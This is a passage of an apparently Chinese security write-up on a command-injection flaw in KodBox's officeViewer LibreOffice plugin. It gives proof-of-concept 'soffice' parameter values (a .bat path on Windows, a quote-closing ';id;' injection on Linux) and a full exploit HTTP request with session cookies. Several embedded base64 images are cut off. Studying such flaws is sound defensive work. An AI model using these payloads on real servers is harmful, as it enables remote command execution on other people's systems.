<p blockindex=35>在windows环境下对$bin特殊处理:getSoffice()中$bin参数会被两个双引号闭合,且使用<code>trim()</code> 函数删除 <code>$bin</code> 变量字符串首尾的空白字符,包括空格、制表符、换行符等。iconv_system函数用于将“$bin”字符进行编码转换。</p>
|
||||
<p blockindex=36><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=37>windows环境下可以通过传入文件路径执行bat文件实现远程命令执行。</p>
|
||||
<p blockindex=38>测试poc为:</p>
|
||||
<pre blockindex=39><code class="hljs language-php">plugin/officeViewer/libreOffice/index/check&soffice=D:\softs\phpstudy\phpstudy_pro\WWW\kodbox\data\files\<span class=hljs-number>202312</span>\<span class=hljs-number>19_81229</span>b0a\poc.bat
|
||||
</code></pre>
|
||||
<p blockindex=40>linux环境下可以通过soffice传入命令通过闭合双引号实现命令注入。</p>
|
||||
<p blockindex=41>测试poc为:</p>
|
||||
<pre blockindex=42><code class="hljs language-php">index.php?plugin/officeViewer/libreOffice/index/check&soffice=<span class=hljs-string>";id;%23&check=1
|
||||
</span></code></pre>
|
||||
<h1 blockindex=43>漏洞利用:</h1>
|
||||
<p blockindex=44><strong>linux系统下漏洞利用:</strong></p>
|
||||
<p blockindex=45><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=46>GET /kodbox/index.php?plugin/officeViewer/libreOffice/index/check&soffice=";id;%23&check=1 HTTP/1.1<br>
|
||||
Host: 192.168.145.131<br>
|
||||
Cache-Control: max-age=0<br>
|
||||
Upgrade-Insecure-Requests: 1<br>
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36<br>
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,<em>/</em>;q=0.8,application/signed-exchange;v=b3;q=0.7<br>
|
||||
Accept-Encoding: gzip, deflate<br>
|
||||
Accept-Language: zh-CN,zh;q=0.9<br>
|
||||
Cookie: KOD_SESSION_ID=9fbbb7a218e0d680fab1ce38b9879adc; CSRF_TOKEN=6jfthGWYzrs5R8Xr; kodUserID=1<br>
|
||||
Connection: close</p>
|
||||
<p blockindex=47><img src="data:image/png;base64,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